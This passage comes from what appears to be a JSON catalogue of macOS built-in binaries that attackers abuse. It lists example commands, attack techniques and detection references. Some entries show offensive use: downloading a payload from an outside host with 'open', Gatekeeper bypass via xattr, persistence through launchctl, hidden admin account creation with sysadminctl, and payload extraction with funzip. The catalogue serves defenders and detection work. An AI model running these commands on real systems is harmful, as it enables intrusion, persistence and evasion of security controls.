          "/usr/bin/notifyutil"
        ]
      }
    ],
    "name": "notifyutil",
    "namespace": "macos:discovery:notifyutil",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Quick Tip: system-wide notifications with notifyutil",
        "url": "https://brettterpstra.com/2012/07/04/quick-tip-system-wide-notifications-with-notifyutil/"
      },
      {
        "label": "Darwin Notification Concepts - Apple Developer Documentation",
        "url": "https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/MacOSXNotifcationOv/DarwinNotificationConcepts/DarwinNotificationConcepts.html"
      },
      {
        "label": "notify(3) manual page",
        "url": "https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/notify.3.html"
      }
    ],
    "techniques": [
      "discovery",
      "collection",
      "command-and-control",
      "defense-evasion",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nAccess and manage the host's non-volatile random-access memory (NVRAM).",
    "_source": "nvram.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "discovery.enumerate"
    ],
    "description": "Access and manage the host's non-volatile random-access memory (NVRAM).",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing."
      }
    ],
    "examples": [
      {
        "description": "Get nvram variables: The -p option prints all the nvram variables that contain some potentially sensitive information like WiFi SSIDs and Bluetooth devices.",
        "command": "nvram -p"
      }
    ],
    "execution": {
      "template": "nvram",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "macos-discovery-nvram",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/nvram"
        ]
      }
    ],
    "name": "nvram",
    "namespace": "macos:discovery:nvram",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "SS64 man page",
        "url": "https://ss64.com/osx/nvram.html"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nTo look at internal state information for opendirectoryd, enable or disable logging, or change statistics settings.",
    "_source": "odutil.md",
    "author": "Ethan Nay",
    "capabilities": [
      "discovery.enumerate"
    ],
    "description": "odutil allows caller to examine or change state of opendirectoryd",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Listing the available node names: List all available node names",
        "command": "odutil show nodenames"
      },
      {
        "description": "Retrieves active session: Retrieves all active sessions",
        "command": "odutil show sessions"
      },
      {
        "description": "Retrieves \"Default search policy\": Retrieves the configuration of \"Default search policy\"",
        "command": "odutil show configuration /Search"
      },
      {
        "description": "Retrieves \"Contact search policy\": Retrieves the configuration of \"Contact search policy\"",
        "command": "odutil show configuration /Contacts"
      }
    ],
    "execution": {
      "template": "odutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "macos-discovery-odutil",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/odutil"
        ]
      }
    ],
    "name": "odutil",
    "namespace": "macos:discovery:odutil",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "macOS/binaries/odutil",
        "url": "https://macosbin.com/bin/odutil"
      },
      {
        "label": "odutil man page",
        "url": "https://www.unix.com/man-page/osx/1/odutil/"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nProfiles on macOS are responsible for managing different types of profiles including configuration, provisioning, bootstraptoken, or enrollment. However, starting from macOS 11.0, this tool cannot be used for installing configuration profiles.\n",
    "_source": "profiles.md",
    "author": "Will Huang (@In0de_16)",
    "capabilities": [
      "discovery.enumerate",
      "impact.destruction"
    ],
    "description": "List and remove configuration profiles.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing."
      }
    ],
    "examples": [
      {
        "description": "Collect system DEP information.: The following command determines whether device is DEP(Device Enrolment Program) enabled and output the DEP information.",
        "command": "sudo profiles show -type enrollment"
      },
      {
        "description": "Remove configuration profiles.: The following command deletes the specified profiles. An optional password used when removing a configuration profile which requires the password removal option.",
        "command": "profiles remove -identifier com.profile.identifier -password <password>"
      }
    ],
    "execution": {
      "template": "profiles",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdout"
    ],
    "id": "macos-discovery-profiles",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/profiles"
        ]
      }
    ],
    "name": "profiles",
    "namespace": "macos:discovery:profiles",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "macOS MDM introduction.",
        "url": "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-mdm"
      }
    ],
    "techniques": [
      "discovery",
      "impact"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nscutil provides a command line interface to the dynamic store data maintained by configd. Interaction with this data (using the SystemConfiguration.framework SCDynamicStore APIs) is handled with a set of commands read from standard input.\n",
    "_source": "scutil.md",
    "author": "Ethan Nay",
    "capabilities": [
      "discovery.enumerate"
    ],
    "description": "Display basic network information, check the dns config, set the computer hostname and perform several other tasks.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "DNS configuration: Get the current DNS configuration of the systems",
        "command": "scutil --dns"
      },
      {
        "description": "Proxy configuration: Get the current proxy configuration of the systems",
        "command": "scutil --proxy"
      },
      {
        "description": "Network reachability: Check if the destination host is reachable from your Mac",
        "command": "scutil -r { nodename | address | local-address remote-address }"
      },
      {
        "description": "Hostname, localhost name and computername: Display the current hostname, localhost name and computername",
        "command": "scutil --get { HostName | LocalHostName | ComputerName }"
      }
    ],
    "execution": {
      "template": "scutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "id": "macos-discovery-scutil",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/scutil"
        ]
      }
    ],
    "name": "scutil",
    "namespace": "macos:discovery:scutil",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "macOS/binaries/scutil",
        "url": "https://macosbin.com/bin/scutil"
      },
      {
        "label": "scutil man page",
        "url": "https://ss64.com/osx/scutil.html"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nsfltool allows interactions with the Shared File List framework, which can be used to modify application recent documents, favorites, and more.\n",
    "_source": "sfltool.md",
    "author": "Eliott (@Koyiott)",
    "capabilities": [
      "discovery.enumerate",
      "security.defenseevasion.bypass"
    ],
    "description": "Binary to manage the Shared File List framework.",
    "detections": [
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/sfltool_activity",
        "description": "Jamf Protect: Detect attempts to dump BTM or being reverted to installation defaults"
      }
    ],
    "examples": [
      {
        "description": "Display Login Items: Identify all current login and background items configured on the system.",
        "command": "sfltool dumpbtm"
      },
      {
        "description": "Reset Login Items to Defaults: Reset all third-party Login Items and revert to installation defaults.",
        "command": "sfltool resetbtm"
      }
    ],
    "execution": {
      "template": "sfltool",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "stealth"
    ],
    "id": "macos-discovery-sfltool",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/sfltool"
        ]
      }
    ],
    "name": "sfltool",
    "namespace": "macos:discovery:sfltool",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "sfltool man page",
        "url": "https://www.unix.com/man-page/mojave/1/sfltool/"
      },
      {
        "label": "Controlling login and background items",
        "url": "https://eclecticlight.co/2023/02/15/controlling-login-and-background-items-in-ventura/"
      }
    ],
    "techniques": [
      "discovery",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nA command-line utility for running software updates.\n",
    "_source": "softwareupdate.md",
    "author": "Jonathan Bar Or (@yo_yo_yo_jbo)",
    "capabilities": [
      "discovery.enumerate"
    ],
    "description": "Interact with the macOS software update service.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Get OS and browser version information: Determine OS and Safari version by enumerating the available software updates.",
        "command": "softwareupdate --list"
      },
      {
        "description": "Get OS update policy: Use the --schedule flag to return the OS update policy.",
        "command": "softwareupdate --schedule"
      }
    ],
    "execution": {
      "template": "softwareupdate",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "macos-discovery-softwareupdate",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/softwareupdate"
        ]
      }
    ],
    "name": "softwareupdate",
    "namespace": "macos:discovery:softwareupdate",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "softwareupdate Man Page",
        "url": "https://ss64.com/osx/softwareupdate.html"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nsw_vers prints macOS version information, including the exact macOS version number.\n",
    "_source": "sw-vers.md",
    "author": "Eliott (@Koyiott)",
    "capabilities": [
      "discovery.enumerate"
    ],
    "description": "Prints macOS version information.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Retrieving macOS Version Information: Fetch detailed macOS version information including the build version, product name, and product version.",
        "command": "sw_vers"
      },
      {
        "description": "Retrieving macOS Product Version: Fetch macOS product version.",
        "command": "sw_vers -productVersion"
      },
      {
        "description": "Retrieving macOS Product Name: Fetch detailed macOS product name.",
        "command": "sw_vers -productName"
      },
      {
        "description": "Retrieving macOS Build Version: Fetch detailed macOS build version.",
        "command": "sw_vers -buildVersion"
      }
    ],
    "execution": {
      "template": "sw_vers",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "pipes-stdout"
    ],
    "id": "macos-discovery-sw-vers",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/sw_vers"
        ]
      }
    ],
    "name": "sw_vers",
    "namespace": "macos:discovery:sw-vers",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "macOS/binaries/sw_vers",
        "url": "https://macosbin.com/bin/sw_vers"
      },
      {
        "label": "sw_vers man page",
        "url": "https://ss64.com/osx/sw_vers.html"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nsystem_profiler reports on the hardware and software configuration of the system. It can generate plain text reports or XML reports which can be opened with System Information.app\n",
    "_source": "system-profiler.md",
    "author": "Ethan Nay",
    "capabilities": [
      "discovery.enumerate"
    ],
    "description": "Reports system hardware and software configuration.",
    "detections": [
      {
        "type": "other",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_system_profiler_discovery.yml",
        "description": "System Information Discovery Using System_Profiler"
      },
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/system_profiler_activity",
        "description": "Jamf Protect: Detect system_profiler activity that gathers system information"
      }
    ],
    "examples": [
      {
        "description": "Listing the available datatypes: List all available sub-systems to get information from.",
        "command": "system_profiler -listDataTypes"
      },
      {
        "description": "Print hardware information: Prints an overview of the hardware of the current machine, including its model name and serial number.",
        "command": "system_profiler SPHardwareDataType"
      },
      {
        "description": "Print software information: Prints an overview of the software of the current machine, including the exact macOS version number.",
        "command": "system_profiler SPSoftwareDataType"
      },
      {
        "description": "Print the information of developer tools: Prints the currently active version of the Xcode developer tools and SDK.",
        "command": "system_profiler SPDeveloperToolsDataType"
      },
      {
        "description": "Print power and battery information: Prints power and battery information, including the current AC wattage and battery cycle count.",
        "command": "system_profiler SPPowerDataType"
      }
    ],
    "execution": {
      "template": "system_profiler",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local"
    ],
    "id": "macos-discovery-system-profiler",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/system_profiler"
        ]
      }
    ],
    "name": "system_profiler",
    "namespace": "macos:discovery:system-profiler",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "macOS/binaries/system_profiler",
        "url": "https://macosbin.com/bin/system_profiler"
      },
      {
        "label": "system_profiler man page",
        "url": "https://ss64.com/osx/system_profiler.html"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\ncaffeinate creates assertions to alter system sleep behavior.  If no assertion flags are specified, caffeinate creates an assertion to prevent idle sleep.\nIf a utility is specified, caffeinate creates the assertions on the utility's behalf, and those assertions will persist for the duration of the utility's execution.\nOtherwise, caffeinate creates the assertions directly, and those assertions will persist until caffeinate exits.\n",
    "_source": "caffeinate.md",
    "author": "Ethan Nay",
    "capabilities": [
      "security.execution.command",
      "security.defenseevasion.bypass"
    ],
    "description": "Prevent the system from sleeping on behalf of a utility.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Fork a process: Make caffeinate fork a process and hold an assertion that prevents idle sleep as long as that process is running",
        "command": "caffeinate -i /tmp/evil"
      },
      {
        "description": "Prevent a sleep: Prevent a macOS from going to sleep for 4 hours (14400 seconds)",
        "command": "caffeinate -u -t 14400"
      }
    ],
    "execution": {
      "template": "caffeinate",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "pipes-stdin",
      "stealth"
    ],
    "id": "macos-execution-caffeinate",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/caffeinate"
        ]
      }
    ],
    "name": "caffeinate",
    "namespace": "macos:execution:caffeinate",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "macOS/binaries/caffeinate",
        "url": "https://macosbin.com/bin/caffeinate"
      },
      {
        "label": "caffeinate man page",
        "url": "https://ss64.com/osx/caffeinate.html"
      }
    ],
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nfunzip is a macOS utility that extracts a ZIP or gzip file directly to output from archives or other piped input. The malicious binaries use funzip to extract the malicious binary with a password and using head or tail commands.\n",
    "_source": "funzip.md",
    "author": "Pratik Jeware",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "The malicious binaries use funzip to extract the malicious binary with a password and using head or tail commands.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "extracts a ZIP or gzip file directly to output from archives or other piped input: funzip is a macOS utility used to extract ZIP or gzip files directly to output. Malicious binaries misuse funzip, along with head or tail, to extract and reconstruct password-protected malicious payloads.",
        "command": "tail -c <> $0 | funzip  -<password>"
      }
    ],
    "execution": {
      "template": "funzip",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "compression",
      "file-system",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "id": "macos-execution-funzip",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/funzip"
        ]
      }
    ],
    "name": "funzip",
    "namespace": "macos:execution:funzip",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "MacOS: Bashed Apples of Shlayer and Bundlore",
        "url": "https://www.uptycs.com/blog/threat-research-report-team/macos-bashed-apples-of-shlayer-and-bundlore"
      },
      {
        "label": "funzip man page",
        "url": "https://linux.die.net/man/1/funzip"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nhdiutil manipulates disk images such as DMG and ISO files. You can mount, unmount, create, resize and verify disk images. Including encrypted images.\n",
    "_source": "hdiutil.md",
    "author": "Mark Morowczynsk (@markmorow)",
    "capabilities": [
      "security.execution.command",
      "collection.data"
    ],
    "description": "Manipulate disk images using the DiskImages framework.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml",
        "description": "Sigma: Disk Image Mounting Via Hdiutil"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml",
        "description": "Sigma: Disk Image Creation Via Hdiutil"
      }
    ],
    "examples": [
      {
        "description": "Mount a malicious dmg file: Uses hdiutil to mount a malicious dmg file to the system.",
        "command": "hdiutil mount malicious.dmg"
      },
      {
        "description": "Mount a malicious dmg file: Uses hdiutil to mount a malicious dmg file to the system.",
        "command": "hdiutil attach malicious.dmg"
      },
      {
        "description": "Mount a malicious iso file: Uses hdiutil to mount a malicious iso file to the system.",
        "command": "hdiutil mount malicious.iso"
      },
      {
        "description": "Mount a malicious iso file: Uses hdiutil to mount a malicious iso file to the system.",
        "command": "hdiutil attach malicious.iso"
      },
      {
        "description": "Exfiltrate data in dmg file: Uses hdiutil to create a dmg file to store exfiltrate data",
        "command": "hdiutil create -volname \"Volume Name\" -srcfolder /path/to/folder -ov diskimage.dmg"
      },
      {
        "description": "Exfiltrate data in encrypted dmg file: Uses hdiutil to create a dmg file to store exfiltrate data",
        "command": "hdiutil create -encryption -stdinpass -volname \"Volume Name\" -srcfolder /path/to/folder -ov encrypteddiskimage.dmg"
      }
    ],
    "execution": {
      "template": "hdiutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "local",
      "pipes-stdin"
    ],
    "id": "macos-execution-hdiutil",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/hdiutil"
        ]
      }
    ],
    "name": "hdiutil",
    "namespace": "macos:execution:hdiutil",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Microsoft finds new macOS vulnerability, Shrootless, that could bypass System Integrity Protection",
        "url": "https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/"
      }
    ],
    "techniques": [
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nlaunchctl can be used to load, start, stop, and unload macOS services. It is a command-line frontend to launchd.\n",
    "_source": "launchctl.md",
    "author": "Josh Carullo",
    "capabilities": [
      "security.execution.command",
      "security.persistence.hook"
    ],
    "description": "Interact with LaunchAgents and LaunchDaemons.",
    "detections": [
      {
        "type": "other",
        "description": "LaunchAgents and LaunchDaemons must have a plist file on disk in the root, system, or user Library directory. Monitoring for plist's with executables located in /tmp or /Shared could identify suspicious applications."
      },
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/launchctl_unload_and_bootout_events",
        "description": "Jamf Protect: Detect launchctl activity that unloads or bootsout specific service"
      }
    ],
    "examples": [
      {
        "description": "Use launchctl to execute an application: A oneliner that will load a plist as a LaunchAgent or LaunchDaemon, achieving persistence on a target machine. This command requires root privileges.",
        "command": "sudo launchctl load /Library/LaunchAgent/com.apple.installer"
      },
      {
        "description": "Persistent launch agent: Creation of a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist",
        "command": "launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist"
      }
    ],
    "execution": {
      "template": "launchctl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "macos-execution-launchctl",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/bin/launchctl"
        ]
      }
    ],
    "name": "launchctl",
    "namespace": "macos:execution:launchctl",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "20 Common Tools & Techniques used by macOS threat Actors & Malware",
        "url": "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
      },
      {
        "label": "Mitre Attack Technique: launchctl T1569",
        "url": "https://attack.mitre.org/techniques/T1569/001/"
      },
      {
        "label": "MITRE ATT&CK T1543.001  Create or Modify System Process: Launch Agent ",
        "url": "https://attack.mitre.org/techniques/T1543/001/"
      },
      {
        "label": "Komplex OS X Trojan (Sofacy)",
        "url": "https://unit42.paloaltonetworks.com/unit42-sofacys-komplex-os-x-trojan/"
      }
    ],
    "techniques": [
      "execution",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe open command-line utility can be used to open files, folders, app, URLs or header files in their associate macOS app.\n",
    "_source": "open.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Open files, folders, apps, URLs, and header files.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Open a malicious file: The open command can be used to open a malicious macOS app from the terminal.",
        "command": "open Malicious.app"
      },
      {
        "description": "Download a malicious file: The following command downloads the payload.zip file in the default browser (Safari) and then kills it.",
        "command": "open -g https://mypayload.io/payload.zip; sleep 3; killall Safari"
      }
    ],
    "execution": {
      "template": "open",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "id": "macos-execution-open",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/open"
        ]
      }
    ],
    "name": "open",
    "namespace": "macos:execution:open",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "The macOS open Command",
        "url": "https://scriptingosx.com/2017/02/the-macos-open-command/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe swift command is an interactive environment (REPL) for Swift.\n",
    "_source": "swift.md",
    "author": "0v3rride (https://github.com/0v3rride)",
    "capabilities": [
      "security.execution.command",
      "security.defenseevasion.bypass"
    ],
    "description": "Arbitrarily execute swift code from the terminal.",
    "detections": [
      {
        "type": "other",
        "description": "Process & Command Line Argument Detection (process contains swift)"
      },
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/swift_oneline_command_execution",
        "description": "Jamf Protect: Detect arbitrary code execution using a swift one-liner"
      }
    ],
    "examples": [
      {
        "description": "Execute Swift code file: Executes the Swift code that is in a .swift file",
        "command": "swift mycode.swift"
      },
      {
        "description": "Execute Swift one-liner before swift 5.8 / Xcode 14.3 Beta 1: Executes a Swift one-liner by piping an echoed string into the swift command",
        "command": "echo 'print(\"loobins\")' | swift -"
      },
      {
        "description": "Execute Swift one-liner with swift 5.8 / Xcode 14.3 Beta 1 or greater: Executes a Swift one-liner that executes the ls command to list the current directory using the -e option that was implemented in swift 5.8 / Xcode 14.3 Beta 1",
        "command": "swift -e 'import Foundation; let process = Process(); process.executableURL = URL(fileURLWithPath:\"/bin/bash\"); process.arguments = [\"-c\", \"ls -alh\"]; let stdout = Pipe(); let stderr = Pipe(); process.standardOutput = stdout; process.standardError = stderr; try process.run(); print(String(decoding: stdout.fileHandleForReading.readDataToEndOfFile(), as: UTF8.self)); print(String(decoding: stderr.fileHandleForReading.readDataToEndOfFile(), as: UTF8.self));'"
      }
    ],
    "execution": {
      "template": "swift",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip",
      "stealth"
    ],
    "id": "macos-execution-swift",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/swift"
        ]
      }
    ],
    "name": "swift",
    "namespace": "macos:execution:swift",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Introduction to the Swift REPL",
        "url": "https://developer.apple.com/swift/blog/?id=18"
      },
      {
        "label": "Scripting and Compiling Swift on the Command Line",
        "url": "https://jblevins.org/log/swift"
      },
      {
        "label": "Scripting in Swift is Pretty Awesome",
        "url": "https://krakendev.io/blog/scripting-in-swift"
      },
      {
        "label": "Swift -e runs code directly from the command line",
        "url": "https://blog.eidinger.info/swift-e-runs-code-directly-from-the-command-line"
      },
      {
        "label": "Swift Programming From The Command Line",
        "url": "https://ed.com/command-line-swift/"
      }
    ],
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nsysadminctl can administer system user accounts. sysadminctl can be used to change user passwords, create new \nusers (including automatically provisioning the user home folder) or to check the status of a user's SecureToken.\n",
    "_source": "sysadminctl.md",
    "author": "Hare Sudhan (@cyb3rbuff)",
    "capabilities": [
      "security.execution.command",
      "security.persistence.hook",
      "impact.destruction",
      "exfiltration.data"
    ],
    "description": "Create/delete local accounts, guest account, enable SMB/AFP Guest access.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_create_account.yml",
        "description": "Sigma: Creation Of A Local User Account"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml",
        "description": "Sigma: User Added To Admin Group Via Sysadminctl"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_enable_guest_account.yml",
        "description": "Sigma: Guest Account Enabled Via Sysadminctl"
      }
    ],
    "examples": [
      {
        "description": "Enable Guest Account: sysadminctl can be used to enable the guest account",
        "command": "sudo sysadminctl -guestAccount on\n"
      },
      {
        "description": "Create Local User Account: sysadminctl can be used to create a local user account",
        "command": "sudo sysadminctl -addUser randomUser -password \"randomPassword\"\n"
      },
      {
        "description": "Create a Local Admin Account: sysadminctl can be used to create a local admin account",
        "command": "sudo sysadminctl -addUser randomUser -password \"randomPassword\" -admin\n"
      },
      {
        "description": "Reset user password: sysadminctl can be used to reset password for a particular user account",
        "command": "sudo sysadminctl -resetPasswordFor randomUser -newPassword \"randomPassword\"\n"
      },
      {
        "description": "Delete a local account: sysadminctl can delete the specified user account",
        "command": "sudo sysadminctl -deleteUser randomUser\n"
      },
      {
        "description": "Enable SMB Guest Access: sysadminctl can enable SMB Guest Access",
        "command": "sudo sysadminctl -smbGuestAccess on\n"
      },
      {
        "description": "Enable AFP Guest Access: sysadminctl can enable AFP Guest Access",
        "command": "sudo sysadminctl -afpGuestAccess on\n"
      }
    ],
    "execution": {
      "template": "sysadminctl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "local",
      "pipes-stdin"
    ],
    "id": "macos-execution-sysadminctl",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/sysadminctl"
        ]
      }
    ],
    "name": "sysadminctl",
    "namespace": "macos:execution:sysadminctl",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "sysadminctl man page",
        "url": "https://ss64.com/mac/sysadminctl.html"
      }
    ],
    "techniques": [
      "execution",
      "persistence",
      "impact",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe xattr command can be used to display, modify or remove the extended attributes of one or more files, including directories and symbolic links.  Extended attributes are arbitrary metadata stored with a file, but separate from the filesystem attributes (such as modification time or file size).  The metadata is often a null-terminated UTF-8 string, but can also be arbitrary binary data.  xattr can be used to bypass Gatekeeper.\n",
    "_source": "xattr.md",
    "author": "Jason Trost (@jason_trost)",
    "capabilities": [
      "security.execution.command",
      "security.defenseevasion.bypass"
    ],
    "description": "Display and manipulate extended attributes.",
    "detections": [
      {
        "type": "other",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml",
        "description": "Gatekeeper Bypass via Xattr"
      },
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/xattr_extended_attributes_activity",
        "description": "Jamf Protect: Detect activity related to xattr and extended attributes"
      }
    ],
    "examples": [
      {
        "description": "Bypass Gatekeeper via xattr: Use xattr to remove quarantine extended attribute from a file.",
        "command": "xattr -d com.apple.quarantine FILE"
      },
      {
        "description": "Bypass Gatekeeper via xattr: Use xattr to remove quarantine extended attribute from multiple files or directories.",
        "command": "xattr -d -r com.apple.quarantine *"
      }
    ],
    "execution": {
      "template": "xattr",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "id": "macos-execution-xattr",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/xattr"
        ]
      }
    ],
    "name": "xattr",
    "namespace": "macos:execution:xattr",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Threat Hunting the macOS edition Megan Carney (Report)",
        "url": "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf"
      },
      {
        "label": "GrrCon 2018: Threat Hunting the macOS edition Megan Carney",
        "url": "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be"
      }
    ],
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nA tool for managing Time Machine, the native macOS backup utility.\n",
    "_source": "tmutil.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "impact.destruction",
      "collection.data",
      "security.privilegeescalation.shell",
      "security.defenseevasion.bypass"
    ],
    "description": "Manage Time Machine backups.",
    "detections": [
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/tmutil_activity",
        "description": "Jamf Protect: Detect the deletion of localsnapshots"
      },
      {
        "type": "sigma",
